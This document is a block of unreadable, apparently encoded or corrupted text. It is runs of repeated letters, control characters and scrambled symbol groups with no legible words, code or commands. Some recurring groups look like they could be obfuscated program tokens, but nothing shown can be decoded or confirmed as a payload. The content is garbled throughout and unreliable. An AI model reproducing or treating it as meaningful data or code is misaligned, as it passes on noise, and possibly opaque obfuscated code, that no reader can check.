0_\0[FTeO	OOOGK\
]0OOONRROK
0_\0[FOOOOO]ZVGK
]0V	W[COOOOK\
]0FTeOOOOOeOK\OOROOOK	Z V^OAOOOOOOWZ XGZY_FTeeOO	OG/_G]_WWFGK\FFOeOOOOOK[]OOOOORO/]X_	G]_WVFGK\FTeO	OOOOOOGWZ XG]_V_FGK[]FOOOIIOK[]OOOONRROOMMFOOeOO	OG]X_	G]_^_FGWZ XG]_V^FCOV[^_G]_XXFGK[]COOO_COOG]X[D]YFFFOOOOOOWZ XG]_W]FGK[]COOO]X_	G]_V]FFOOOORRROOOOO_FOOeOOOYXYW][GK\COOOOOG\XYD[[FFTeOZ	VV0GK\FTeOO

OeOOOOK VX	[YZOROOO_G]_V\FG]X_	G]_V[FCOOMMCOOOK[]FTeOOO	OOOG_G]_V_FGK VX	[YZFOOOIIOK VX	[YZOOOONRROOK[]FO]ZVGK\COK VX	[YZFTeeeOOOOOO
GK VX	[YZFTeOeOOeOO
GK[]FTeOeOOOK
V	 	^^ 0OOROOOO_G]_][FG []]^
 XGFFOOOAOO_G]_VZFTeOOOK
  
Z^OOOROO
	
GV[^_G]_^]FFOOPOOOOO8?0, !;*!;0+&=OAOO]X_	G]_VZFOOOOUOOK
V	 	^^ 0TeOOOOOKX_^[OOOROGeOOK	Z V^OOOOAOOH@HOAOOOOK 
 CeOOOOOOOOK	Z V^OAOOH@HOOAOOOK_XZ	 CeK	Z V^OAOH@HOOOAOK]][^
[ZZWCeOOOOOOOOKY_ 

OOAOH@HOOAOOOK\[Y[_^VY_CeKY_ 

OAOOOH@HOOAOOKY_0_CeOOKY_ 

OOOOAOOH@HOAOK_XZ	 CeOOOKY_ 

OOAOH@HOAOOOOOK]][^
[ZZWCeOOK
V	 	^^ 0OOAOH@HOOAOOOK\[Y[_^VY_CeOK
V	 	^^ 0OOAOH@HOOOAOOOKY_0_CeOK
V	 	^^ 0OOAOOOOH@HOOAOOK_XZ	 CeeOOK
V	 	^^ 0OOOAOH@HOAOOK]][^
[ZZWCeeOOOOK
  
Z^OOOAOOOOOH@HOOOOOAOK\[Y[_^VY_CeOOK
  
Z^OOOOAOOOH@HOOOOAOOOOKY_0_CeOK
  
Z^OOOAOH@HOAOK_XZ	 CeOOK
  
Z^OOOOAOH@HOOAOK]][^
[ZZWCeOFTeOOOKX\OOROO
[[]Y
^Z
0WWXWGFTeOOOOOKX_^[42OROOOOOKX\4^2TeOOOOKX_^[42OROOKX\4^2OOAOOO]X_	G]_VYFTeeeeOOOOO
GKX\FTeOOOOO	OOOOGV[^_G]_[^FG_GVZ[FFFOeOO	 
OOOOGGFO/WZ XG]_VXFGK	Z V^OOAO]X_	G]_VWFOOOAOOOK 
 FOOOK0Z[^
X0_FOOOOOOKX_^[42OOROOOK0Z[^
X0_TeOOOOOO	 
OOOGGFOOO/]X_	G]_VXFGK	Z V^OOOOOAOWZ XG]_VVFOAOOOK 
 FOOOOOOOOK0Z[^
X0_FOKX_^[42OOROOOOOOK0Z[^
X0_TeOO	 
OOOOOOGGFOOO/]X_	G]_VXFG.-<?.;'OOOOAO_G]V\FOOOAOOOOK_^	]V\OOOAOOWZ XG]V[FFOOOOK		_^FOOOOKX_^[42OOROK		_^TeOOOOO	 
OOOOOGGFOOO/]X_	G]^__FGK	Z V^OOOOOAOH@HOOAOOOOOK_^	]V\OOAOOO]X_	G]^_^FFOOOOOOOK		_^FOOOOOOKX_^[42OOOROOOK		_^TeeO	 
OOOOOGGFOOOO/_G]^_]FGKY_ 

OOOOAOOH@HOOOOAOOK_^	]V\OOOAOO]X_	G]^_^FFOOOOOOOOK		_^FOOOKX_^[42OOOOOROOK		_^TeO	 
OOOGGFOOOO/]X_	G]^_]FGK
V	 	^^ 0OOOOOAOOOOOOH@HOAOOOK_^	]V\OOOOOOAOOO_G]^_^FFOOOOOK		_^FOKX_^[42OOOOROK		_^TeO	 
OOOGGFOO/]X_	G]^_]FGK
  
Z^OAOOOH@HOAOOOOOK_^	]V\OOAOOOOWZ XG]^_^FFOOOOOK		_^FOOOKX_^[42OOROK		_^TeeKZ] ^OOOOOROW
W\0]G.-<?.;'OOOAOOOOOOHHCOOOOOG^SS\FFTeOK
X0YXOOROOG.-<?.;'OOAOV[^_G^YZ_FCOOOK	Z V^COOOKY_ 

COOOOK
V	 	^^ 0COOOOOK
  
Z^FTeOOO	 
OOGK
X0YXOOOOOOK0FOOOOeO	OG/V[^_G]_^[FGK0FOOOIIO/V[^_G]_]WFGK0FFOOOOO ^
XXGK0OOOOOOAO]X_	G]^_\FOOOAOOKZ] ^COOOOOOV	_00YGFCOWZ XG]^_[FFTeOeO	OOGWZ XG]_[^FG]X_	G]^_]FFFOeOOOOOOO	 
OGK
X0YXOOOOOOK0FOOeOOOOO	 
OGG_GZY]FCOO_G]^_ZFCOWZ XG]^_YFCOV[^_G]^_XFCOOV[^_G]^_WFCOOO_G]^_VFCOV[^_G]^^_FCOO]X_	G]^^^FCO]X_	G]^^]FFOOOK
\WYFOOOeeeeO	 
OOOOOGGFOOOO/WZ XG]^_]FGK0OOAOOOH@HOAOOK
\WYOAOOOOHEHFOOOOK
0Z
FOOOKX_^[42OOOOROOK
0Z
Tee	 
OOGGFO/WZ XG]^^\FGK0OOOOAOO]X_	G]^^[FFOOOOOK
ZY\VFOOKX_^[42OOROK
ZY\VTeeeeOOOOeOOOOOOeO
GKZ] ^COK
X0YXCOOOOK0COK
\WYCOOK
0Z
COOK
ZY\VFTeOOKW_	Y[OOROOOOOOG.-<?.;'OOOAOOOOOV[^_GZXYFCOOOK	Z V^OOOOAOV[^_G^[XXFFTeO	 
OGKW_	Y[OOOOKV\WFOeOOOOOO	OOOGN/WZ XG]^^ZFGKV\WFFOOO 
TeeeOK
0_\0[OROO/WZ XG]_WVFGKV\WFTeOOO	OGK
0_\0[OIIOOOOOV[^_G]_W]FGK
0_\0[CO]X_	GZX[FFOONRROOOOO	
FOeOOOOOK
0_\0[OOOOOROV[^_G]_V\FGWZ XG^^YVFOOOOOAOOOV[^_G]^^YFGK_XZ	 COH@HFOOAOOWZ XG]^^XFCOM3MCOOOOOK
0_\0[FTeeeeOOOOOO	OOG]X_	G]^^WFGK
0_\0[FFOeOOOOK
0_\0[OOOROOOOO_G]_V\FGV[^_G^^X^FOOOOAOOO]X_	G]^^YFGK_XZ	 COH@HFOOOAO_G]^^XFCOOM3MCOK
0_\0[FTeOe	OOG]X_	G]^^VFGK
0_\0[FFOOOOeOOK
0_\0[OOROOOOWZ XG]_V\FGWZ XG^^X]FOOAO]X_	G]^]_FGK_XZ	 COOOOH@HFOAOOOOO_G]^]^FCOOOOM3MCOOOK
0_\0[FTeeeee	OGV[^_G]^]]FGK
0_\0[FFOO]ZVGKV\WCOOK
0_\0[FTeOOOeOOeOKV0Y]\ORO.-<?.;'OAOOOOOO_G]^]\FTeOOOOOOO	OOGN/WZ XG]^][FGKV0Y]\FFOOOeOOOK\  _OOOROO_G]_][FG.-<?.;'FOOAO_G]^]ZFTeOOOOOOO	OOOG/WZ XG]^]YFGK\  _FFOKV0Y]\OOROOOOOK\  _TeOOOeOO	OOG/_G]^]XFGKV0Y]\FOOIIOO/V[^_G]_]WFGKV0Y]\FFOeK0OOOROOO/V[^_G]_WVFGKV0Y]\FTe	OOOOG]X_	G]^]]FGK0FOOOIIOO_G]^]WFGK0COO_GZW]FFOONRROOO	
FOOOOOeOOOOK	][^_Z]]OOOOROWZ XG]^]VFGWZ XG]^\_FCOOOMMCOK0FTeOO	OOGV[^_G]^]]FGK	][^_Z]]FOOOOOIIOOOOOOK	][^_Z]]ONRROOOK0OOIIOOO
[X
 Z]Y
GK	][^_Z]]FFOOOeeeeOKWW^OROOOOO/V[^_G^XY]FGKV0Y]\FTeeeOO	OOG]ZVGKV0Y]\COOK	][^_Z]]FOOIIOOKWW^FOOO/]X_	G]]FGKV0Y]\COKWW^FTeOOOOOOeeeeOO
GK	][^_Z]]COOOKWW^FTeOOOOeOOOOO
GK0FTeeeeO
GKV0Y]\COOK\  _FTeOOOOK[V]_ VOOROV[^_G]_[^FGWZ XG^[X_FFOPO/]X_	G^[X_FG]X_	GZYVFFOOUOOOO	
Te	OOOOOGNK[V]_ VOOOK[V]_ VOOORRROOMMFOK[V]_ VOOROOOOOWZ XGZX^FTeeeOOK_
W]VZZ]OOOROOOG.-<?.;'OOOOAOOOK[V]_ VCOK	Z V^OAOH@HOAOK[V]_ VFTeO	 
OOOOGK_
W]VZZ]OOOOK_^ \XFOOOOeOOOOOOO	OGN/]X_	G]^]XFGK_^ \XFFOO 
TeeeOK
0_\0[OORO/V[^_G]_WVFGK_^ \XFTeO	OOGK
0_\0[OIIOOOV[^_G]^\^FGK
0_\0[COOV[^_G]^\]FFONRROOO	
FOeOOOK
0_\0[OOOROOO]X_	G]^]VFGV[^_G]^\\FOAOWZ XG]^\[FGK]][^
[ZZWCOH@HFOOAOOOOOOV[^_G]^\ZFCOOMMCOOOOOOK
0_\0[FTe	OOGV[^_G]^\YFGK
0_\0[FFOOOO]ZVGK_^ \XCOOK
0_\0[FTeOOOOOOOOeOOeOK_0
	^OOOOOROGeOOOK	Z V^OOAOOOH@HOOOAOOOK]][^
[ZZWCeOKY_ 

OAOH@HOOAOOK]][^
[ZZWCeK
V	 	^^ 0OOAOH@HOOAOOK]][^
[ZZWCeOOOOFTeK\ \X]OOROOOV[^_G]^\XFGKX_^[COOK_0
	^FTeOOOOOO	 
OOGK_0
	^OOOOOK^\V__FOOeeeOOO	OG/WZ XG]^]XFGK^\V__FFOOeeeeOOOYXYW][GK^\V__COG^D[^VFFTe]ZVGK^\V__COOOO_GVVXFFTeeOeOOOOO	 
OOOOGK\ \X]OOOOOOOK^\V__FOeeeOOOO	OOG/WZ XG]^\WFGK^\V__FFOOOOeOOYXYW][GK^\V__COOOOOG[_\D^XFFTeZ	VV0GK^\V__FTeOeeeOOOOOOeOOO	 
OOGX^]W\	[YVGFOOOOOOKZ_W0FOOOe	OOGN/WZ XG]^\WFGKZ_W0FOOOOOON/]X_	G]^\VFGKZ_W0FFOOO 
TeK
0_\0[OOROOOOO/]X_	G]^[_FGKZ_W0FTeO	OG]X_	G]^\YFGK
0_\0[FFOOOeKYXVYWOOOOOROOO]	] XY	WGK
0_\0[COWZ XG^W^XFCOOO]X_	G]^[^FFTeKYXVYWOOOOOROOO]	] XY	WGKYXVYWCOOWZ XG^W^VFCO]X_	G]^[]FFTeeeO	OOG_G]^\YFGKYXVYWFOIIOOKYXVYWOONRROOOK
0_\0[FOO]ZVGKZ_W0COKYXVYWFTeOO
GKYXVYWFTeOOeOOOOOOeO	OOGWZ XG]_[^FG]X_	G^Y_\FFOIIO_G]_[^FGV[^_G^ZV\FFFOeOK
OOROO
\_		VGFTeOOO	OOOOGK
ONRROOO	
FOOeOKX^0XOOOOORO/]X_	G^Y_\FGK
COOOOHHCO_COOOOOO_FTe	OGKX^0XFOOeO/WZ XG^Y^_FGKX^0XFTe/WZ XG^Y^]FGKX^0XFTeeeeeeeOeOeOO	OOOGV[^_G]_[^FG]X_	GV_^FFFOOeeOK]	__^
ZOOROOOW
W\0]G.-<?.;'OOOOAOWZ XG]_\YFCOOOOOGZ[1Y_FFTeOO/


0  GK]	__^
ZFTeOOOOOOOK]X
^OOOOROOOOOO_G]_[^FG]X_	G^WW_FFOPOO/
0  G]X_	G^V^XFCOOGFFOUOOOOOGFTeOOO	OOOG]X_	G]^[\FGK]X
^FFOeOOO	OOG
GK]X
^4HH2FFOZ	VV0GK]X
^4HH2FTeOO	OG
GK]X
^4]X_	G]^[[F2FOIIOOV[^_G]^[\FGK]X
^4WZ XG]^[[F2FFOOOOee	 
OOOOGK]X
^4WZ XG]^[[F2OOOK0FOOOOe	OOG_G]^[\FGK0FOIIOOO
GK04HH2FFOZ	VV0GK04HH2FTeOeeeOOOOeOOe/


0  G_G^V^XFFTe/


0  G_G^V^ZFFTeO/


0  G_G^ZW^FFTeO/


0  GV[^_G]^[ZFFTeeOO/


0  G]X_	G^Z_^FFTe/


0  G_G^[Y]FFTe/


0  GWZ XG^[]^FFTeO/


0  G]X_	G^[YVFFTeeeO
GK]X
^COOOOK0FTeOeeeeO	OGV[^_G]_[^FGWZ XGWVXFFFOOeeee/


0
G]X_	G]^[YFFTeOOO/


0
GV[^_G^Y[VFFTe/


0
G	[\Y
GFFTeOeOOO	OOG]X_	G]_[^FG]X_	G]^[XFFFOOOOeOO/0
0

0  G_G]^[WFFTeOOOO/0
0

0  G]X_	G]^[VFFTeO/0
0

0  GX X[Y\Y]GFFTeeOeOOOOOOOOG; 
OOK]WFOOOOOeOOOZ[^YZZGWZ XG]^Z_FCOK]WFTeOOOOOG*
 OOOK]WFOeOOOOOOeOOOeOO	 OOOOOOX^VGFeOOeOOOeOOOOOOOO	OOGN
	
G_G]_W\FFFOOOO
OOOOO	
TeOOK	Z V^OORO\\^WVV_	GFTeOOK_[^OOOOROOOOK	Z V^OOOAOOOV[^_GZZZFTeOOOKZ0_
 ^OROOO]X_	G]_X_FG []]^
 XGFCOOOO]X_	G]^Z^FFTeOOOK 	X_OROOV X[GFTe	OGNK 	X_OOOO_G]_YWFGK 	X_FOSOOGY[^B^[^FOOOOOOOOOWZ XG]_YWFGK 	X_FOQOOOG^YY\Y]WBY^Z_Z]FOOOO ^Y\^X_WGK 	X_FOOOON
[X
 Z]Y
GK 	X_FFOOOO
OOOO	
TeeeeOK
OOOROO/V[^_G^Y\^FGK_[^FOPOOO/WZ XG]^[_FGK_[^FOUOMMTeee	OOGNWZ XG]^\YFGK
FFOeeeeOOOOOOZ[^YZZG_GX]WFCOO]X_	G]^Z]FFTeOO
O	
TeOOOeeOK
OOOOROOOOOXX[WZGK
FTeK
W_YOOROV	_00YGFOOOOAOOOHUHOAOW
W\0]G.-<?.;'OAO_G]^Z\FCOGYD]FFTeKY\VOROOWZ XG]^Z[FOOOOOAOOOK
W_YOAOOOWZ XG^ZY\FTeOKV^VOROV[^_G]^ZZFOOOOOAOK
W_YOAOV[^_G^ZY\FTeK]ZX0\ OOOOROOOW
W\0]G.-<?.;'OAO]X_	G]^Z\FCOOGXD^FFTeOKWV	OROOV[^_G]^ZYFG_G]^ZXFOOOOAOK]ZX0\ OOOAOO_G]^ZWFCOOOOOMMCOOK
FTeOOOK_VZOOROOOOOGWZ XG]^\^FGKWV	COOO_G]^ZVFFOOONRROO	
FTeeOOOOOOO	OOOOOG_G]^\^FGK
COOKY\VFOOOONRRO	
OIIOO_G]^\^FGK
COOKV^VFONRRO	
OOOIIOONK_VZFOOOO
OOO
TeOOOOK
OOROOOWZ XG]^ZYFGV[^_G]^Y_FCOOOOOMMCOKWV	FTeOOO	OOOOGNV[^_G]^\YFGK
FFOOOOOOeOZ[^YZZGV[^_GX]WFCOOOO_G^Z^VFFTeO
OOO	
TeeeOOOOeK ZW^VW[ZOOOROOOO\Y]__	
WGFTeOO	OGNK ZW^VW[ZFO
O	
TeKY	\0V
	_OROOOO]X_	G]^Y^FOAOOWZ XG]_XXFG]X_	G]^Y]FGKZ0_
 ^OOOOAOOGFOOOO\[[
VVGFFCOOOOO_COOOG_YD_]FFTeOOOOK
 YOORO\_X^0GeOOOOOOOV[^_GX]VFCeOOGH00<#:(00HCOOOH00?#:(&!0-.<*Y[00HCOOH00(:.=+0!."*00HCOOH009*=<& !00HFCeeeeOOGKZ0_
 ^COOK ZW^VW[ZCOKY	\0V
	_COOOV	_00YGFFeOOOFTeeeO	OOOGNK
 YFOeeO	OOOOOOGGFOOO
0  GV[^_G]^Y\FCOO_FOOQOO_FOOZ[^YZZGV[^_GX]WFCOO]X_	G]^Y[FFTeeeeOOOOO
OO	
TeOOOOeOOOOOOOK
OROOOXX[WZGK
FTeOOOOOK[_ZOOOROOOWZ XG]^ZYFG]X_	G^ZZXFCOOMMCOK
 YFTeOOKWWX[_OOOROOOOOG]X_	G]^YZFGK
FOOORRROOO_FTe	OOGNKWWX[_FOOe	OGN 
]X VW
\GV[^_G]^YYFFFOOOOOOeeeZ[^YZZGWZ XG]^YXFCOOOV[^_G^Y[\FFTeO
O	
TeeeeOOOOOOeOOO	OOOOOGNV 
GK_[^COOK
FFOOOOeOOZ[^YZZG]X_	G]^YXFCOOOOOO_G]^YWFFTeeee
OO	
TeOOeOOO
^_ 	 X^GV[^_G]^YVFFTeO

OeOO	OGNV 
GK_[^COMMFFOeZ[^YZZGV[^_G]^YVFCOO_G]^YWFFTeee
OOO	
TeOOOeOOOOOeeeeKZX\OROOOOOO
[0YGK
COKY\VOAOOOM3MOAOOOK[_ZOOAOOOOOOM3MOOOOOOAOOOKV^VFTeO	OGN]ZVGK_[^COKZX\FFOOeOOOOO
OO	
TeeOOO	OGKWWX[_FOOOY
XGK_[^FTeO
O
TeeOOOOOOOOG; 
OK]WFOOeOOZ[^YZZGV[^_G]^YVFCOOOOOK]WFTeOOOO
OO	
TeOOOOG*
 OK]WFOeO
OO	
TeeeeOOOeeO	 OOOX^]W\	[YVGFeOOOOOeOOK
VY0OOROGFTeOOO	OOOOGNWZ XG]_[^FGV[^_G]^X_FFFOO
OOOOOOK
VY0TeeeK_\\XOOROOG
	
GWZ XG]^X^FFOPOOOO8?0, !;*!;0+&=OUOOOOOG
	
G_G]_W\FFOOOPOO.-<?.;'OOAOOOO]X_	G]^X]FOOOOUOOOOOOMMFFOAOV[^_G]^X\FTeeOKYXY\OOOOROGFOO/
0  GWZ XG]^X[FCOOMMFTeO	OOOGKYXY\ONRROOOMMFOOOK
VY042OOOROOK_\\XOOAOOOKYXY\OOOOOAOOOOV[^_G]_X[FTeOOOOK 0ZWOOOOROOGFOO/
0  GWZ XG^]YWFCOMMFTeeeOOO	OOOOOGK 0ZWOONRROOOMMOOIIOOOK 0ZWOONRROKYXY\FOOK
VY042OOROK_\\XOAOOK 0ZWOOAO_G]_X[FTeOOOOOOO
OOK
VY0TeOOeOO	 O V
[YGFeOOOOOOeOOeOOOO	OGN
	
G]X_	G]_W\FFOOOONWZ XG]^XZFGWZ XG]^X_FFFOOOOO
Te	 
OOOOOGX^]W\	[YVGFOOOK V	
0FOOOOeOOOOOK	V YW
YOOROOOX[W	[X][		GFOOOOAOOOOO_G]^XYFOOAOW
W\0]GK V	
0COOG\DVFFOAOO_G^WY_FTeOOOOOO	OOGN/WZ XG]^XXFGK	V YW
YFFOO 
TeOOOO	OOG/V[^_G]^XWFGK V	
0FOOIIOO/_G]^XVFGK V	
0FOOQO_FOO 
TeK\YW  OOROOOOO/]X_	G]^[_FGK	V YW
YFTeOOO	OOGN_G]^\YFGK\YW  FOOOK\YW  ORRROOOOMMFOO 
TeeO	OOG]ZVGK V	
0COK\YW  FFOOOOeOOOZ[^YZZGV[^_G]^W_FCOOOV[^_G]^W^FFTeOOO/
0  G]X_	G]^W]FCOOO]X_	G]_XYFGFCOO_G]_[\FFTeOeeOOOOOOOOOOG; 
OOK]WFOOeOOOZ[^YZZG_G]^W_FCOOK]WFTeOOOOOOG*
 OOOK]WFOOeeeOOOO	 O\0YW0 X GFeeeeeOOOOOOeOOOO	OOGN
	
GV[^_G]_W\FFFOOOO
O	
TeeeOOK]0YZOROOX^]W\	[YVGFTeeeeOOOOOO	OG
GK]0YZFFOO
OO	
TeK]
 
 OOROGFOO
0  G_G]^W]FCOOO_FTe	OOOGK]
 
 OIIOOOO_G]^W\FGFOOOOBOK]
 
 OOOSOGWY\W_D]_FFO
O	
TeeOOOOK
W_YOOOOOROV	_00YGFOOAOOOHUHOAOOOOW
W\0]G.-<?.;'OOOAOO_G^W]WFCOG[SS^FFTeeOKY\VOOOROO_G]^W[FOAOOOOOK
W_YOOOOAOOWZ XG^ZY\FTeKV^VOOOOOROV[^_G]^WZFOAOOOOK
W_YOOOOAOO_G^ZY\FTeeeeKY	\0V
	_OOROV[^_G]^WYFOOOOAOOOOV[^_G]^WXFG_G]^Y]FG.-<?.;'OOOOAOOOGFOOOOOO\[[
VVGFFCOOO_COOOOG_[D_[FFTeOOKZ0_
 ^ORO_G]_X_FG []]^
 XGFCOOOV[^_G]^Z^FFTeOOK ZW^VW[ZOROOOOO\Y]__	
WGFTeO	OOOOGNK ZW^VW[ZFOOOOO
OO	
TeeeeOOOKV_OOROO\_X^0GeOWZ XGX\^FCeOOOOOOGH00<#:(00HCOOH00?#:(&!0-.<*Y[00HCOH00(:.=+0!."*00HCOH009*=<& !00HFCeGKZ0_
 ^COOOK ZW^VW[ZCOOOKY	\0V
	_COOOV	_00YGFFeOOFTeO	OGNKV_FOe	OGGFOO
0  GV[^_G]^Y\FCOOO_FOQOO_FOOZ[^YZZGWZ XG]^W_FCOO_G]^WWFFTeO
O	
TeOOOOOOeOOOOOKV_OROO_G]^WVFGWZ XG^ZZXFCOOOOMMCOOKV_FTeOOO	OGN_G]^\YFGKV_FOOOKV_ORRROOOMMFOOO
OOO	
TeOOOOO	 
OOGK]0YZOOOOOKZ_W0FOOe	OOOOOGN/V[^_G]^XWFGKZ_W0FFOO 
TeOK
^YOROOOO_G]^XZFG_G^^]XFFOPO/]X_	G]^V_FGKZ_W0COOOHHFOOOOOUO	
TeOO	OOOGK
^YOOONRRO	
OOIIOV[^_G]^XZFGV[^_G]^V^FFFOOOOO/	 GK
^YCO# ,$0*7FTeK
OOROO/V[^_G]^V]FGKZ_W0FTe	OGN_G]^\YFGK
FFOOeOOOZ[^YZZG_G]^W_FCOV[^_G]^V\FFTeO	OGK
^YOOONRROOO	
FOOOOeee	OOG]X_	G]^XZFGWZ XG]^V^FFFOO/	 GK
^YCOOOO# ,$0:!FTeeeeO/	 
GK
^YFTeOOOOe 
TeOOOeOOOOOeeeeOOO	OOOG]X_	G]^YZFGK
FOQOOOOG^\\]VZZB]W[\XVFFOOOK
OOOOROOXX[WZGK
FTeOOOOO	OOOGV[^_G]^\^FGK
COOOOOOKY\VFOONRROOO	
OOOOOIIOWZ XG]^\^FGK
COOOKV^VFONRROO	
FO
OOO
TeeOOO	OOGN/]X_	G]^\VFGKZ_W0FFOOOOOO 
TeOOOOOOK	V YW
YOROOX[W	[X][		GFOAOO_G]^XYFOOAOOOW
W\0]GKZ_W0COG^_D]FFOOOOOOAOOO_G]^V[FTeeeeOK ]_Z[ZXXOOOROW
W\0]G.-<?.;'OAOOOWZ XG^W]WFCOOOOG\DZFFTeOOOOOK
OROOOO]	] XY	WGK
CO]X_	G^W^XFCO]X_	G]^VZFFTeOOK
ORO_G]^WVFG]X_	G]^VYFCOMMCOK
FTeOO	OOOGN_G]^\YFGK
FFOOOeOOZ[^YZZGWZ XG]^W_FCOOV[^_G^Z^VFFTeO 
TeeOO	OOOOG]X_	G]^\^FGK
COOOOO_G]_\_FFOOOONRROO	
OOOOWZ XG]^\^FGK
COV[^_G]^VXFFOOOONRROOOOOO	
FOeeOKYOOOROO/V[^_G]^XWFGK	V YW
YFOOPOOO/]X_	G]^V]FGK	V YW
YFOOUOO	
TeOO	OGNV[^_G]^VWFGKYFOOOOOOOKYORRROOOMMFOOeOOOZ[^YZZG_G]^W_FCOO_G]^VVFFTeO 
TeOeK
OOROOKYTeOOO
GKYFTeOeOK]YW\^OOOORO	 ZGK
FTeOOOOOOO	OG]X_	G]^VWFGK]YW\^FOOIIOOOK]YW\^OOOOOONRROMMFOOOeOOOOOOKWV0[^OOOROOO/]X_	G]^XWFGK	V YW
YFOOOPOO/]X_	G]]__FGK	V YW
YFOOOOOUO	
TeOOOO	OOGNWZ XG]]_^FGKWV0[^FOOOOOOOOKWV0[^OOONRROK]YW\^FOOOOO]ZVGK	V YW
YCOOK]YW\^FTeOOOO
GKWV0[^FTeOOOe
GK]YW\^FTeKVVV^X	OOROO]X_	G]]_]FTeeeOOO	OOOOOG_G]^YZFGK
FOOOQO_OOIIOWZ XG]]_\FGK
COV[^_GV\ZFFOONRROOO	
OOIIOO_G]^WXFGWZ XG^V[XFGK
FCOOOB]FOOOOOONRROOOOO]X_	G^X__FFOOeKVVV^X	OOROMMTeOeOOOOKW	

^ OROOGWZ XG]^YZFGK
FOOQOOO_FOOOPOOOOOM3MOUOOOOOMMTeOOOOOOOK_WWOROOKW	

^ OOAOKVVV^X	OOAOKY\VOOOOAOM3MOAOOKV_OOAOOM3MOOAOOOOOKV^VOOOOAOOOM3MTeOOOO	OOOOGNV 
GKZ_W0COOOK
FFOOeOOOOOOZ[^YZZG]X_	G]]_[FCOOOWZ XG]^YWFFTeeOO 
TeOOOeOOO	OOGN]ZVGKZ_W0COOOOK
OAOOK_WWFFOOOO 
Tee
OO
TeOOOOOO	OOeOO	OOGK
^YONRRO	
FOOeeeeO	OOOOOG]X_	G]]_ZFG]X_	G]^V^FFFOO/	 GK
^YCOOOOO# ,$0:!FTeOOOO/	 
GK
^YFTeOOOOOOOeeOOOe
O	
TeOOOG; 
OOOOOOK]WFOOOeZ[^YZZGV[^_G]]_YFCOOK]WFTeO
OOO	
TeOOOOOG*
 OOOOOK]WFOOeOO
O	
TeOeeeeee	 OOO
V	0

[GFeOeOOOOOOOe	OGN
	
G_G]_W\FFFOOOO
TeeeOO	OOOOOGY]Y^
G []]^
 XGFFFOOOO
TeK	Z V^OOROOO\\^WVV_	GFTeeeOK 
 OOROOW
W\0]G.-<?.;'OOOOOOAOO_G^[]_FCOOOOG^Z]1^[[FFOOAOOOOV[^_G^\[VFTeeeOOKZ0_
 ^OOROV[^_G]_X_FG []]^
 XGFCOV[^_G]^Z^FFTeK 	X_OROOOOV X[GFTeOOOOO	OOOGNK 	X_OOOOOWZ XG]^YZFGK 	X_FOOOSOOOGVZ\B[Z\FFOOeOOZ[^YZZG_G^Z_VFCOOO]X_	G]]_XFFTeeee
TeOeeeeOOOOOO	OOOOGNV[^_G^_Z[FG]X_	G]]_WFFFOOOO
TeOOK	_OOOOOOROOOGeOK	Z V^OOOAOH@HOOAOOOK 
 CeK	Z V^OOAOOOO_G]]_VFOOOOOOAOOWZ XG]]^_FGV[^_G]]^^FFOOAOOOOK 
 CeOFTeOOOOK^[Y[OOROOOG
	
G_G]^X^FFOOOPOO8?0, !;*!;0+&=OOOOUOOOOOO.-<?.;'OAO_G]^X]FFOAOO_G^]YVFTeOOOOO	OOG/V[^_G]]^]FGK^[Y[FFOeeeK_\
 _ZOOROO XZWV	[YGK^[Y[FTeO	OOOOGV[^_G]^[\FGK_\
 _ZFFOOeeeeOOOOO	 
OOOGK_\
 _ZOOOOOOOK]WFOOOeOOOK[V0
YVOOROOOOK^[Y[OOOOOOAOOH@HOOAOOK]WTeOOO	OOOG/_G]]^\FGK[V0
YVFOIIOOOO/_G]^\VFGK[V0
YVFFOOOeOK	_42OOOOOROOOK[V0
YVOAOH@HOAOK 
 TeOO
TeOOOeOOOeOOeeOOOOOOOeOOOOO	 
OOOOGK	_OOOOOK Y\VFOOOOOe	OOG/_G^Y\^FGK Y\VFOIIOOO/V[^_G]^XVFGK Y\VFOOOOOOQOGV]ZDXZFFOeOK][[	OOOROO]X_	G]]_WFTe	OOOG_G^_Z[FGK][[	FFOeeOOOOOK[
	0	OROOOOO
OOK][[	GFTeeeO	OOOG/K[
	0	BQ 
GK Y\VFOORRROOO
FOOeOOOK[
	0	BQ 
GFTeOOOO 
TeOeeOOeOOOK_Z00[OOROOOV[^_G]_][FGK Y\VFTeeeeOOOOOOO	OOGN/_G]]^[FGK_Z00[FFO^GK_Z00[COG[X\D]_FCOO
FTeOOOOK][[	OOROOO_G]]^ZFTeeeOKV_^

V OOOOROOW		X[GK_Z00[CO]X_	GW[ZFFTeO	OGKV_^

V OORRROOO	
FOOOOO 
TeOOK
\\OROOO
OK][[	GFTeO	OG/K
\\BQ 
GKV_^

V COOOK][[	UU,=*.;*OOOOOK][[	UU 9*=8=&;*FOOOORRROOO
FOOeK
\\BQ) <GKZ0_
 ^OAOOOOH@HOOOAOOOKZ0_
 ^OOOAOOV[^_G]^Z^FCOK 	X_FTeOOOOK
\\BQ 
GFTeOOOK^
WX\OOOOROO
OK][[	GFTeee	OOG/K^
WX\BQ 
GKV_^

V FOOORRROO
FOOOeK^
WX\BQ 
GFTe	OG 	[Y\]^ZGKV_^

V COOK Y\VFOOGW Y[\XGKV_^

V COOK Y\VFOIIOZ	VV0GKV_^

V FFFOee[ZX_\]VGK Y\VCO^X0\Z	]_GFFTeOOOOOOOYXYW][GK Y\VCOG_WD_^^VFFTeOOO

OeOOOOOOOZ	VV0GKV_^

V FTeOOOeOOOOO

OOOOeOOOOZ	VV0GKV_^

V FTeeOOOOOOOO

OOeOOOOOZ	VV0GKV_^

V FTeeeOOOG; 
OK]WFOOeZ[^YZZG_G^[]_FCOOOK]WFTeOOOOOOOOG*
 OK]WFOOeeeeeeO	 OOZ_W ^[GFeOOOOeOOOeeOO	OOGNWZ XG]]_ZFG_G[]\FFOOOONV[^_G]]^YFGV[^_G[Z]FFFO
TeOOOOOOO	OOGN
	
GWZ XG]_W\FFFO
TeeeOK_V]OROO]X_	G]]^XFTeOOO	OOOOOGN0
0

GK_V]FFOeOOO0

0

GV[^_G]]^WFGFOODOOG][ZDZZFCOOOWZ XG]]^VFCOOK_V]FTeeeOOOeOOO	OGN0
0

G_G]^[VFFFOOOOeOOOOO0

0

G]X_	G]]^WFGFODOOOGXVZB^VZFCOOOOOOV[^_G[^XFCOOWZ XG]]]_FFTeOeOOOOOOG; 
OOK]WFOeOZ[^YZZGV[^_G]]]^FCOOOOOOK]WFTeOOOOOOOG*
 OOOOOK]WFOeOeOeee	 OOOOO	^VY0X0GFeeOOeOO	OOGN
	
GV[^_G]_W\FFFO
TeeeOOKVZ	OOROOOW
